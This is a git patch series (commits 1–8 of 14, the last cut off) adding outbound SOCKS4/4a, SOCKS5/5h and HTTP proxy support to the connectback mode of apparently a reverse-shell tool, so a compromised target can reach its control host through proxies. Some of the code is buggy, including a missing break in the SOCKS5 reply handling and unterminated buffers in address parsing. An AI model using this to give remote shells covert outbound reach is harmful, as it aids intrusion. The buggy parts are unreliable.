From 9a598cda8ab63a9daa437c9366aab520debb2377 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Wed, 13 Sep 2023 14:56:29 -0400 Subject: [PATCH 01/14] Add proxy support for target in connectback mode --- config.h | 20 ++++++ helper_objects.h | 2 + io_ssl.c | 175 +++++++++++++++++++++++++++++++++++++++++++++-- proxy.c | 43 ++++++++++++ revsh.c | 2 + 5 files changed, 238 insertions(+), 4 deletions(-) diff --git a/config.h b/config.h index 4831752..732b26b 100644 --- a/config.h +++ b/config.h @@ -10,6 +10,26 @@ #define CONTROL_ADDRESS "0.0.0.0" #define CONTROL_PORT "2200" +/* + * Outbound proxy for target + */ + +// Default: no proxy +#define OUTBOUND_PROXY_TYPE NULL +#define OUTBOUND_PROXY_ADDR NULL + +// socks4 +//#define OUTBOUND_PROXY_TYPE "socks4" +//#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" + +// socks5h +//#define OUTBOUND_PROXY_TYPE "socks5h" +//#define OUTBOUND_PROXY_ADDR "localhost:1080" + +// http +//#define OUTBOUND_PROXY_TYPE "http" +//#define OUTBOUND_PROXY_ADDR "127.0.0.1:3128" + // Default socks proxy listener port. #define SOCKS_LISTENER "2280" diff --git a/helper_objects.h b/helper_objects.h index 99530ac..d36e3f6 100644 --- a/helper_objects.h +++ b/helper_objects.h @@ -55,6 +55,8 @@ struct config_helper { int tap; char *ip_addr; + char *outbound_proxy_type; + char *outbound_proxy_addr; char *keys_dir; char *rc_file; char *shell; diff --git a/io_ssl.c b/io_ssl.c index 30c4d12..75d1467 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1,6 +1,7 @@ #include "common.h" #include "keys/dh_params.c" +#include extern sig_atomic_t sig_found; @@ -945,9 +946,15 @@ int init_io_target(){ }else{ - /* - Open a network connection back to the control node. */ - if((io->connect = BIO_new_connect(config->ip_addr)) == NULL){ - report_error("init_io_target(): BIO_new_connect(%s): %s", config->ip_addr, strerror(errno)); + /* - Open a network connection back to the control node or proxy. */ + char *ip_addr = config->ip_addr; + + if(config->outbound_proxy_type && config->outbound_proxy_addr) { + ip_addr = config->outbound_proxy_addr; + } + + if((io->connect = BIO_new_connect(ip_addr)) == NULL){ + report_error("init_io_target(): BIO_new_connect(%s): %s", ip_addr, strerror(errno)); if(verbose){ ERR_print_errors_fp(stderr); } @@ -955,7 +962,7 @@ int init_io_target(){ } if(verbose){ - printf("Connecting to %s...", config->ip_addr); + printf("Connecting to %s...", ip_addr); fflush(stdout); } @@ -999,6 +1006,166 @@ int init_io_target(){ return(-1); } + // Outbound proxy connection + if(config->outbound_proxy_type && config->outbound_proxy_addr) { + + // Outbound SOCKS4 proxy + if(strcmp(config->outbound_proxy_type, "socks4") == 0) { + + if(verbose) { + printf("Requesting socks4 connection to %s...", config->ip_addr); + fflush(stdout); + } + + // Parse control ip and port from string + unsigned char ip[4] = {0}; + unsigned short port = 0; + if(!parse_addr_string(config->ip_addr, ip, &port)) { + report_error("init_io_target(): parse_addr_string"); + return(-1); + } + + // Send socks4 connection request + unsigned char socks_request[] = { 0x04, 0x01, port >> 8, port & 0xff, ip[0], ip[1], ip[2], ip[3], 0x00 }; + write(io->remote_fd, socks_request, sizeof(socks_request)); + + // Read socks4 connection response + char socks_response[8] = {0}; + read(io->remote_fd, socks_response, sizeof(socks_response)); + if(socks_response[0] != 0x00 || socks_response[1] != 0x5a) { + report_error("init_io_target(): socks4"); + return(-1); + } + + if(verbose){ + printf("\tConnected!\r\n"); + } + } + + // Outbound SOCKS5H proxy + else if(strcmp(config->outbound_proxy_type, "socks5h") == 0) { + + if(verbose) { + printf("Requesting socks5 connection to %s...", config->ip_addr); + fflush(stdout); + } + + // Send socks5 greeting (no authentication support) + unsigned char socks5_greeting[] = { 0x05, 0x01, 0x00 }; + write(io->remote_fd, socks5_greeting, sizeof(socks5_greeting)); + + // Receive socks5 choice + char socks5_choice[2] = {0}; + read(io->remote_fd, socks5_choice, sizeof(socks5_choice)); + if(socks5_choice[0] != 0x05 || socks5_choice[1] != 0x00) { + report_error("init_io_target(): socks5 choice"); + return(-1); + } + + // Send socks5 connection request (domain) + char *domain = strdup(config->ip_addr); + char *p = strchr(domain, ':'); + if (!p) { + return(-1); + } + *p = 0; + unsigned short port = atoi(p+1); + + int socks5_connection_request_len = 7 + strlen(domain); + unsigned char *socks5_connection_request = calloc(1, socks5_connection_request_len + 1); + int i = 0; + socks5_connection_request[i++] = 0x05; // VER: 5 + socks5_connection_request[i++] = 0x01; // CMD: CONNECT + socks5_connection_request[i++] = 0x00; // RSV + socks5_connection_request[i++] = 0x03; // ATYP: DOMAINNAME + socks5_connection_request[i++] = strlen(domain); // number of octets of name that follow + + for(int j = 0; j < strlen(domain); j++) { + socks5_connection_request[i++] = domain[j]; + } + + socks5_connection_request[i++] = port >> 8; // DST.PORT + socks5_connection_request[i++] = port & 0xff; // DST.PORT + + write(io->remote_fd, socks5_connection_request, socks5_connection_request_len); + + // Receive initial part of socks5 response packet + char socks5_response_part1[4] = {0}; + read(io->remote_fd, socks5_response_part1, sizeof(socks5_response_part1)); + if(socks5_response_part1[0] != 0x05 || socks5_response_part1[1] != 0x00) { + report_error("init_io_target(): socks5 response"); + return(-1); + } + + // Receive remaining socks5 response packet according to atyp + char atyp = socks5_response_part1[3]; + switch (atyp) { + // IPV4 ADDR + case 0x01: { + char socks5_response_part2[6] = {0}; + read(io->remote_fd, socks5_response_part2, sizeof(socks5_response_part2)); + break; + } + // DOMAINNAME + case 0x03: { + while(1) { + char socks5_response_part2 = 0; + read(io->remote_fd, &socks5_response_part2, 1); + if(socks5_response_part2 == 0) { + unsigned short port = 0; + read(io->remote_fd, &port, 2); + break; + } + } + } + default: { + report_error("init_io_target(): socks5 response unsupported atyp"); + return(-1); + } + } + + if(verbose){ + printf("\tConnected!\r\n"); + } + } + + // Outbound HTTP proxy + else if(strcmp(config->outbound_proxy_type, "http") == 0) { + if(verbose) { + printf("Requesting http connection to %s...", config->ip_addr); + fflush(stdout); + } + + // Send http connect request + char *http_connect_request_fmt = "CONNECT %s HTTP/1.1\r\n\r\n"; + char *http_connect_request = calloc(1, strlen(http_connect_request_fmt) - 2 + strlen(config->ip_addr) + 1); + sprintf(http_connect_request, http_connect_request_fmt, config->ip_addr); + write(io->remote_fd, http_connect_request, strlen(http_connect_request)); + + // Read http reponse header + char http_header[4096] = {0}; + for(int i = 0; i < sizeof(http_header); i++) { + read(io->remote_fd, http_header + i, 1); + if(strstr(http_header, "\r\n\r\n")) + break; + } + + if(strstr(http_header, "HTTP/1.1 403 Forbidden")) { + report_error("init_io_target(): http 403 forbidden"); + return(-1); + } + + if(!strstr(http_header, "HTTP/1.1 200")) { + report_error("init_io_target(): http unknown error"); + return(-1); + } + + if(verbose){ + printf("\tConnected!\r\n"); + } + } + } + if(config->encryption > PLAINTEXT){ if(!(io->ssl = SSL_new(io->ctx))){ diff --git a/proxy.c b/proxy.c index 169286c..594e915 100644 --- a/proxy.c +++ b/proxy.c @@ -761,6 +761,49 @@ int parse_socks_request(struct connection_node *cur_connection_node){ } +/****************************************************************************** + * + * parse_addr_string() + * + * Inputs: Address string to parse. + * Parsed ip. + * Parsed port. + * + * Outputs: 1 on success, 0 otherwise. + * + * Purpose: Parse address string into ip and port. + * + ******************************************************************************/ +int parse_addr_string(char *addr_string, unsigned char ip[4], unsigned short *port) { + int parsed_elements = 0; + int s_start = addr_string; + for(char *p = addr_string; ; p++) { + if(*p == '.' || *p == ':' || *p == '\x00') { + int len = p - s_start; + char *tmp_buf = calloc(1, len); + memcpy(tmp_buf, s_start, len); + int n = atoi(tmp_buf); + + if(parsed_elements < 4) { + ip[parsed_elements] = n; + } else { + *port = n; + } + + parsed_elements++; + s_start = p+1; + } + if(*p == '\x00') { + break; + } + } + if(parsed_elements == 5) { + return(1); + } + return(0); +} + + /****************************************************************************** * * addr_to_string() diff --git a/revsh.c b/revsh.c index e693fb6..a177e77 100644 --- a/revsh.c +++ b/revsh.c @@ -309,6 +309,8 @@ int main(int argc, char **argv){ io->escape_depth = 0; config->interactive = 1; + config->outbound_proxy_type = OUTBOUND_PROXY_TYPE; + config->outbound_proxy_addr = OUTBOUND_PROXY_ADDR; config->shell = NULL; config->rc_file = RC_FILE; config->keys_dir = KEYS_DIR; From 5d91df31d490b1c3000d559008636f03c7062eed Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Wed, 13 Sep 2023 15:57:08 -0400 Subject: [PATCH 02/14] Fix memory leaks --- io_ssl.c | 4 ++++ proxy.c | 1 + 2 files changed, 5 insertions(+) diff --git a/io_ssl.c b/io_ssl.c index 75d1467..aa283c0 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1066,6 +1066,7 @@ int init_io_target(){ char *domain = strdup(config->ip_addr); char *p = strchr(domain, ':'); if (!p) { + free(domain); return(-1); } *p = 0; @@ -1088,6 +1089,8 @@ int init_io_target(){ socks5_connection_request[i++] = port & 0xff; // DST.PORT write(io->remote_fd, socks5_connection_request, socks5_connection_request_len); + free(domain); + free(socks5_connection_request); // Receive initial part of socks5 response packet char socks5_response_part1[4] = {0}; @@ -1141,6 +1144,7 @@ int init_io_target(){ char *http_connect_request = calloc(1, strlen(http_connect_request_fmt) - 2 + strlen(config->ip_addr) + 1); sprintf(http_connect_request, http_connect_request_fmt, config->ip_addr); write(io->remote_fd, http_connect_request, strlen(http_connect_request)); + free(http_connect_request); // Read http reponse header char http_header[4096] = {0}; diff --git a/proxy.c b/proxy.c index 594e915..af85d45 100644 --- a/proxy.c +++ b/proxy.c @@ -783,6 +783,7 @@ int parse_addr_string(char *addr_string, unsigned char ip[4], unsigned short *po char *tmp_buf = calloc(1, len); memcpy(tmp_buf, s_start, len); int n = atoi(tmp_buf); + free(tmp_buf); if(parsed_elements < 4) { ip[parsed_elements] = n; From df05e5d455373e37225c775df149bb1c7bc8ce53 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Thu, 14 Sep 2023 08:52:04 -0400 Subject: [PATCH 03/14] Error handling --- common.h | 1 + io_ssl.c | 60 ++++++++++++++++++++++++++++++++++++++++++++------------ 2 files changed, 48 insertions(+), 13 deletions(-) diff --git a/common.h b/common.h index ba9900d..60eede2 100644 --- a/common.h +++ b/common.h @@ -254,6 +254,7 @@ void connection_node_delete(struct connection_node *); struct connection_node *connection_node_find(unsigned short origin, unsigned short id); void connection_node_queue(struct connection_node *cur_connection_node); int parse_socks_request(struct connection_node *cur_connection_node); +int parse_addr_string(char *addr_string, unsigned char ip[4], unsigned short *port); char *addr_to_string(int atype, char *addr, char *port, int len); /* report.c */ diff --git a/io_ssl.c b/io_ssl.c index aa283c0..5a21acf 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1,6 +1,7 @@ #include "common.h" #include "keys/dh_params.c" +#include #include extern sig_atomic_t sig_found; @@ -1027,11 +1028,17 @@ int init_io_target(){ // Send socks4 connection request unsigned char socks_request[] = { 0x04, 0x01, port >> 8, port & 0xff, ip[0], ip[1], ip[2], ip[3], 0x00 }; - write(io->remote_fd, socks_request, sizeof(socks_request)); + if(write(io->remote_fd, socks_request, sizeof(socks_request)) == -1) { + report_error("init_io_target(): write socks4 request: %s", strerror(errno)); + return(-1); + } // Read socks4 connection response char socks_response[8] = {0}; - read(io->remote_fd, socks_response, sizeof(socks_response)); + if(read(io->remote_fd, socks_response, sizeof(socks_response)) == -1) { + report_error("init_io_target(): read socks4 response: %s", strerror(errno)); + return(-1); + } if(socks_response[0] != 0x00 || socks_response[1] != 0x5a) { report_error("init_io_target(): socks4"); return(-1); @@ -1052,11 +1059,17 @@ int init_io_target(){ // Send socks5 greeting (no authentication support) unsigned char socks5_greeting[] = { 0x05, 0x01, 0x00 }; - write(io->remote_fd, socks5_greeting, sizeof(socks5_greeting)); + if(write(io->remote_fd, socks5_greeting, sizeof(socks5_greeting)) == -1) { + report_error("init_io_target(): write socks5 greeting: %s", strerror(errno)); + return(-1); + } // Receive socks5 choice char socks5_choice[2] = {0}; - read(io->remote_fd, socks5_choice, sizeof(socks5_choice)); + if(read(io->remote_fd, socks5_choice, sizeof(socks5_choice)) == -1) { + report_error("init_io_target(): read socks5 choice: %s", strerror(errno)); + return(-1); + } if(socks5_choice[0] != 0x05 || socks5_choice[1] != 0x00) { report_error("init_io_target(): socks5 choice"); return(-1); @@ -1081,20 +1094,26 @@ int init_io_target(){ socks5_connection_request[i++] = 0x03; // ATYP: DOMAINNAME socks5_connection_request[i++] = strlen(domain); // number of octets of name that follow - for(int j = 0; j < strlen(domain); j++) { + for(size_t j = 0; j < strlen(domain); j++) { socks5_connection_request[i++] = domain[j]; } socks5_connection_request[i++] = port >> 8; // DST.PORT socks5_connection_request[i++] = port & 0xff; // DST.PORT - write(io->remote_fd, socks5_connection_request, socks5_connection_request_len); + if(write(io->remote_fd, socks5_connection_request, socks5_connection_request_len) == -1) { + report_error("init_io_target(): write socks5 connection request: %s", strerror(errno)); + return(-1); + } free(domain); free(socks5_connection_request); // Receive initial part of socks5 response packet char socks5_response_part1[4] = {0}; - read(io->remote_fd, socks5_response_part1, sizeof(socks5_response_part1)); + if(read(io->remote_fd, socks5_response_part1, sizeof(socks5_response_part1)) == -1) { + report_error("init_io_target(): read socks5 response part 1: %s", strerror(errno)); + return(-1); + } if(socks5_response_part1[0] != 0x05 || socks5_response_part1[1] != 0x00) { report_error("init_io_target(): socks5 response"); return(-1); @@ -1106,17 +1125,26 @@ int init_io_target(){ // IPV4 ADDR case 0x01: { char socks5_response_part2[6] = {0}; - read(io->remote_fd, socks5_response_part2, sizeof(socks5_response_part2)); + if(read(io->remote_fd, socks5_response_part2, sizeof(socks5_response_part2)) == -1) { + report_error("init_io_target(): read socks5 response part 2 (atyp 1): %s", strerror(errno)); + return(-1); + } break; } // DOMAINNAME case 0x03: { while(1) { char socks5_response_part2 = 0; - read(io->remote_fd, &socks5_response_part2, 1); + if(read(io->remote_fd, &socks5_response_part2, 1) == -1) { + report_error("init_io_target(): read socks5 response part 2 (atyp 3): %s", strerror(errno)); + return(-1); + } if(socks5_response_part2 == 0) { unsigned short port = 0; - read(io->remote_fd, &port, 2); + if(read(io->remote_fd, &port, 2) == -1) { + report_error("init_io_target(): read socks5 response part 2 (atyp 3): %s", strerror(errno)); + return(-1); + } break; } } @@ -1143,13 +1171,19 @@ int init_io_target(){ char *http_connect_request_fmt = "CONNECT %s HTTP/1.1\r\n\r\n"; char *http_connect_request = calloc(1, strlen(http_connect_request_fmt) - 2 + strlen(config->ip_addr) + 1); sprintf(http_connect_request, http_connect_request_fmt, config->ip_addr); - write(io->remote_fd, http_connect_request, strlen(http_connect_request)); + if(write(io->remote_fd, http_connect_request, strlen(http_connect_request)) == -1) { + report_error("init_io_target(): write http connection request: %s", strerror(errno)); + return(-1); + } free(http_connect_request); // Read http reponse header char http_header[4096] = {0}; - for(int i = 0; i < sizeof(http_header); i++) { - read(io->remote_fd, http_header + i, 1); + for(size_t i = 0; i < sizeof(http_header); i++) { + if(read(io->remote_fd, http_header + i, 1) == -1) { + report_error("init_io_target(): read http connection response header: %s", strerror(errno)); + return(-1); + } if(strstr(http_header, "\r\n\r\n")) break; } From e7b52174b9ed53f78348bdde558e21e7bfcaadd5 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Thu, 14 Sep 2023 09:11:07 -0400 Subject: [PATCH 04/14] Add plain ipv4-based socks5 supported --- config.h | 8 +++-- io_ssl.c | 94 ++++++++++++++++++++++++++++++++++++++------------------ 2 files changed, 70 insertions(+), 32 deletions(-) diff --git a/config.h b/config.h index 732b26b..c605b04 100644 --- a/config.h +++ b/config.h @@ -18,13 +18,17 @@ #define OUTBOUND_PROXY_TYPE NULL #define OUTBOUND_PROXY_ADDR NULL -// socks4 +// socks4 (CONTORL_ADDRESS must be ipv4 address) //#define OUTBOUND_PROXY_TYPE "socks4" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" +// socks5 (CONTORL_ADDRESS must be ipv4 address) +//#define OUTBOUND_PROXY_TYPE "socks5" +//#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" + // socks5h //#define OUTBOUND_PROXY_TYPE "socks5h" -//#define OUTBOUND_PROXY_ADDR "localhost:1080" +//#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" // http //#define OUTBOUND_PROXY_TYPE "http" diff --git a/io_ssl.c b/io_ssl.c index 5a21acf..5968b8c 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1049,11 +1049,11 @@ int init_io_target(){ } } - // Outbound SOCKS5H proxy - else if(strcmp(config->outbound_proxy_type, "socks5h") == 0) { + // Outbound SOCKS5/SOCKS5H proxy + else if(strcmp(config->outbound_proxy_type, "socks5") == 0 || strcmp(config->outbound_proxy_type, "socks5h") == 0) { if(verbose) { - printf("Requesting socks5 connection to %s...", config->ip_addr); + printf("Requesting %s connection to %s...", config->outbound_proxy_type, config->ip_addr); fflush(stdout); } @@ -1075,38 +1075,72 @@ int init_io_target(){ return(-1); } - // Send socks5 connection request (domain) - char *domain = strdup(config->ip_addr); - char *p = strchr(domain, ':'); - if (!p) { - free(domain); - return(-1); - } - *p = 0; - unsigned short port = atoi(p+1); + if (strcmp(config->outbound_proxy_type, "socks5") == 0) { - int socks5_connection_request_len = 7 + strlen(domain); - unsigned char *socks5_connection_request = calloc(1, socks5_connection_request_len + 1); - int i = 0; - socks5_connection_request[i++] = 0x05; // VER: 5 - socks5_connection_request[i++] = 0x01; // CMD: CONNECT - socks5_connection_request[i++] = 0x00; // RSV - socks5_connection_request[i++] = 0x03; // ATYP: DOMAINNAME - socks5_connection_request[i++] = strlen(domain); // number of octets of name that follow + // Parse control ip and port from string + unsigned char ip[4] = {0}; + unsigned short port = 0; + if(!parse_addr_string(config->ip_addr, ip, &port)) { + report_error("init_io_target(): parse_addr_string"); + return(-1); + } - for(size_t j = 0; j < strlen(domain); j++) { - socks5_connection_request[i++] = domain[j]; - } + // Send socks5 connection request (ipv4) + unsigned char socks5_connection_request[] = { + 0x05, // VER: 5 + 0x01, // CMD: CONNECT + 0x00, // RSV + 0x01, // ATYP: IP V4 address + ip[0], // ipv4 addr + ip[1], // ipv4 addr + ip[2], // ipv4 addr + ip[3], // ipv4 addr + port >> 8, // port + port & 0xff, // port + }; + + if(write(io->remote_fd, socks5_connection_request, sizeof(socks5_connection_request)) == -1) { + report_error("init_io_target(): write socks5 connection request (atyp 1): %s", strerror(errno)); + return(-1); + } - socks5_connection_request[i++] = port >> 8; // DST.PORT - socks5_connection_request[i++] = port & 0xff; // DST.PORT + } else if(strcmp(config->outbound_proxy_type, "socks5h") == 0) { + + // Send socks5 connection request (domain) + char *domain = strdup(config->ip_addr); + char *p = strchr(domain, ':'); + if (!p) { + free(domain); + return(-1); + } + *p = 0; + unsigned short port = atoi(p+1); + + int socks5_connection_request_len = 7 + strlen(domain); + unsigned char *socks5_connection_request = calloc(1, socks5_connection_request_len + 1); + int i = 0; + socks5_connection_request[i++] = 0x05; // VER: 5 + socks5_connection_request[i++] = 0x01; // CMD: CONNECT + socks5_connection_request[i++] = 0x00; // RSV + socks5_connection_request[i++] = 0x03; // ATYP: DOMAINNAME + socks5_connection_request[i++] = strlen(domain); // number of octets of name that follow + + for(size_t j = 0; j < strlen(domain); j++) { + socks5_connection_request[i++] = domain[j]; + } + + socks5_connection_request[i++] = port >> 8; // DST.PORT + socks5_connection_request[i++] = port & 0xff; // DST.PORT + + if(write(io->remote_fd, socks5_connection_request, socks5_connection_request_len) == -1) { + report_error("init_io_target(): write socks5 connection request (atyp 3): %s", strerror(errno)); + return(-1); + } + free(domain); + free(socks5_connection_request); - if(write(io->remote_fd, socks5_connection_request, socks5_connection_request_len) == -1) { - report_error("init_io_target(): write socks5 connection request: %s", strerror(errno)); - return(-1); } - free(domain); - free(socks5_connection_request); + // Receive initial part of socks5 response packet char socks5_response_part1[4] = {0}; From 80ac9b8a18d659125d33ae0573af3f3c7d3fd64e Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Thu, 14 Sep 2023 09:37:36 -0400 Subject: [PATCH 05/14] Add socks4a supported --- config.h | 8 ++++-- io_ssl.c | 76 +++++++++++++++++++++++++++++++++++++++++++++----------- 2 files changed, 67 insertions(+), 17 deletions(-) diff --git a/config.h b/config.h index c605b04..c96d57f 100644 --- a/config.h +++ b/config.h @@ -22,15 +22,19 @@ //#define OUTBOUND_PROXY_TYPE "socks4" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" +// socks4a (CONTRL_ADDRESS can be domain to be resolved on target) +//#define OUTBOUND_PROXY_TYPE "socks4a" +//#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" + // socks5 (CONTORL_ADDRESS must be ipv4 address) //#define OUTBOUND_PROXY_TYPE "socks5" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" -// socks5h +// socks5h (CONTRL_ADDRESS can be domain to be resolved on target) //#define OUTBOUND_PROXY_TYPE "socks5h" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" -// http +// http (CONTRL_ADDRESS can be domain to be resolved on target) //#define OUTBOUND_PROXY_TYPE "http" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:3128" diff --git a/io_ssl.c b/io_ssl.c index 5968b8c..763cdf8 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1010,27 +1010,73 @@ int init_io_target(){ // Outbound proxy connection if(config->outbound_proxy_type && config->outbound_proxy_addr) { - // Outbound SOCKS4 proxy - if(strcmp(config->outbound_proxy_type, "socks4") == 0) { + // Outbound SOCKS4/SOCKS4A proxy + if(strcmp(config->outbound_proxy_type, "socks4") == 0 || strcmp(config->outbound_proxy_type, "socks4a") == 0) { if(verbose) { - printf("Requesting socks4 connection to %s...", config->ip_addr); + printf("Requesting %s connection to %s...", config->outbound_proxy_type, config->ip_addr); fflush(stdout); } - // Parse control ip and port from string - unsigned char ip[4] = {0}; - unsigned short port = 0; - if(!parse_addr_string(config->ip_addr, ip, &port)) { - report_error("init_io_target(): parse_addr_string"); - return(-1); - } + if(strcmp(config->outbound_proxy_type, "socks4") == 0) { + // Parse control ip and port from string + unsigned char ip[4] = {0}; + unsigned short port = 0; + if(!parse_addr_string(config->ip_addr, ip, &port)) { + report_error("init_io_target(): parse_addr_string"); + return(-1); + } - // Send socks4 connection request - unsigned char socks_request[] = { 0x04, 0x01, port >> 8, port & 0xff, ip[0], ip[1], ip[2], ip[3], 0x00 }; - if(write(io->remote_fd, socks_request, sizeof(socks_request)) == -1) { - report_error("init_io_target(): write socks4 request: %s", strerror(errno)); - return(-1); + // Send socks4 connection request + unsigned char socks_request[] = { + 0x04, // VER: 4 + 0x01, // CMD: CONNECT + port >> 8, // DSTPORT + port & 0xff, // DSTPORT + ip[0], // DSTIP + ip[1], // DSTIP + ip[2], // DSTIP + ip[3], // DSTIP + 0x00 // ID + }; + if(write(io->remote_fd, socks_request, sizeof(socks_request)) == -1) { + report_error("init_io_target(): write socks4 request: %s", strerror(errno)); + return(-1); + } + } else if(strcmp(config->outbound_proxy_type, "socks4a") == 0) { + // Send socks4a connection request (domain) + char *domain = strdup(config->ip_addr); + char *p = strchr(domain, ':'); + if (!p) { + free(domain); + return(-1); + } + *p = 0; + unsigned short port = atoi(p+1); + + int socks4a_connection_request_len = 9 + strlen(domain) + 1; + unsigned char *socks4a_connection_request = calloc(1, socks4a_connection_request_len + 1); + int i = 0; + socks4a_connection_request[i++] = 0x04; // VER: 4 + socks4a_connection_request[i++] = 0x01; // CMD: CONNECT + socks4a_connection_request[i++] = port >> 8; // DSTPORT + socks4a_connection_request[i++] = port & 0xff; // DSTPORT + socks4a_connection_request[i++] = 0x00; // DSTIP + socks4a_connection_request[i++] = 0x00; // DSTIP + socks4a_connection_request[i++] = 0x00; // DSTIP + socks4a_connection_request[i++] = 0x01; // DSTIP + socks4a_connection_request[i++] = 0x00; // ID + + for(size_t j = 0; j < strlen(domain); j++) { + socks4a_connection_request[i++] = domain[j]; + } + + if(write(io->remote_fd, socks4a_connection_request, socks4a_connection_request_len) == -1) { + report_error("init_io_target(): write socks4a connection request (atyp 3): %s", strerror(errno)); + return(-1); + } + free(domain); + free(socks4a_connection_request); } // Read socks4 connection response From 187d328390cc634b644b83d53b0b8696999fa3f1 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Thu, 14 Sep 2023 09:41:43 -0400 Subject: [PATCH 06/14] Doc --- config.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config.h b/config.h index c96d57f..8a400d7 100644 --- a/config.h +++ b/config.h @@ -22,7 +22,7 @@ //#define OUTBOUND_PROXY_TYPE "socks4" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" -// socks4a (CONTRL_ADDRESS can be domain to be resolved on target) +// socks4a (CONTRL_ADDRESS can be domain to be resolved by the proxy) //#define OUTBOUND_PROXY_TYPE "socks4a" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" @@ -30,11 +30,11 @@ //#define OUTBOUND_PROXY_TYPE "socks5" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" -// socks5h (CONTRL_ADDRESS can be domain to be resolved on target) +// socks5h (CONTRL_ADDRESS can be domain to be resolved by the proxy) //#define OUTBOUND_PROXY_TYPE "socks5h" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" -// http (CONTRL_ADDRESS can be domain to be resolved on target) +// http (CONTRL_ADDRESS can be domain to be resolved by the proxy) //#define OUTBOUND_PROXY_TYPE "http" //#define OUTBOUND_PROXY_ADDR "127.0.0.1:3128" From 4d93562d0689e1a4fc35bbff5460356be3f90855 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Fri, 29 Sep 2023 11:08:02 -0400 Subject: [PATCH 07/14] Fix memory leaks --- io_ssl.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/io_ssl.c b/io_ssl.c index 763cdf8..dc3f440 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1070,12 +1070,13 @@ int init_io_target(){ for(size_t j = 0; j < strlen(domain); j++) { socks4a_connection_request[i++] = domain[j]; } + free(domain); if(write(io->remote_fd, socks4a_connection_request, socks4a_connection_request_len) == -1) { report_error("init_io_target(): write socks4a connection request (atyp 3): %s", strerror(errno)); + free(socks4a_connection_request); return(-1); } - free(domain); free(socks4a_connection_request); } @@ -1174,15 +1175,16 @@ int init_io_target(){ for(size_t j = 0; j < strlen(domain); j++) { socks5_connection_request[i++] = domain[j]; } + free(domain); socks5_connection_request[i++] = port >> 8; // DST.PORT socks5_connection_request[i++] = port & 0xff; // DST.PORT if(write(io->remote_fd, socks5_connection_request, socks5_connection_request_len) == -1) { report_error("init_io_target(): write socks5 connection request (atyp 3): %s", strerror(errno)); + free(socks5_connection_request); return(-1); } - free(domain); free(socks5_connection_request); } @@ -1252,6 +1254,7 @@ int init_io_target(){ char *http_connect_request = calloc(1, strlen(http_connect_request_fmt) - 2 + strlen(config->ip_addr) + 1); sprintf(http_connect_request, http_connect_request_fmt, config->ip_addr); if(write(io->remote_fd, http_connect_request, strlen(http_connect_request)) == -1) { + free(http_connect_request); report_error("init_io_target(): write http connection request: %s", strerror(errno)); return(-1); } From b066cdb4d9998bb286997b1246714083c8907895 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Fri, 29 Sep 2023 11:10:10 -0400 Subject: [PATCH 08/14] Use constants for outbound proxy types --- common.h | 7 +++++++ config.h | 29 ++++++++++++----------------- helper_objects.h | 2 +- io_ssl.c | 36 +++++++++++++++++++++++------------- 4 files changed, 43 insertions(+), 31 deletions(-) diff --git a/common.h b/common.h index 60eede2..bb70e1f 100644 --- a/common.h +++ b/common.h @@ -140,6 +140,13 @@ #define ESCAPE_CR 1 #define ESCAPE_TILDE 2 +/* Outbound proxy */ +#define OUTBOUND_PROXY_TYPE_NULL 0 +#define OUTBOUND_PROXY_TYPE_SOCKS4 1 +#define OUTBOUND_PROXY_TYPE_SOCKS4A 2 +#define OUTBOUND_PROXY_TYPE_SOCKS5 3 +#define OUTBOUND_PROXY_TYPE_SOCKS5H 4 +#define OUTBOUND_PROXY_TYPE_HTTP 5 /****************************************************************************** * global variables diff --git a/config.h b/config.h index 8a400d7..7283fd2 100644 --- a/config.h +++ b/config.h @@ -15,28 +15,23 @@ */ // Default: no proxy -#define OUTBOUND_PROXY_TYPE NULL -#define OUTBOUND_PROXY_ADDR NULL +//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_NULL +//#define OUTBOUND_PROXY_ADDR NULL -// socks4 (CONTORL_ADDRESS must be ipv4 address) -//#define OUTBOUND_PROXY_TYPE "socks4" -//#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" +// socks4 (CONTROL_ADDRESS must be ipv4 address) +//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS4 -// socks4a (CONTRL_ADDRESS can be domain to be resolved by the proxy) -//#define OUTBOUND_PROXY_TYPE "socks4a" -//#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" +// socks4a (CONTROL_ADDRESS can be domain to be resolved by the proxy) +//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS4A -// socks5 (CONTORL_ADDRESS must be ipv4 address) -//#define OUTBOUND_PROXY_TYPE "socks5" -//#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" +// socks5 (CONTROL_ADDRESS must be ipv4 address) +//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS5 -// socks5h (CONTRL_ADDRESS can be domain to be resolved by the proxy) -//#define OUTBOUND_PROXY_TYPE "socks5h" -//#define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" 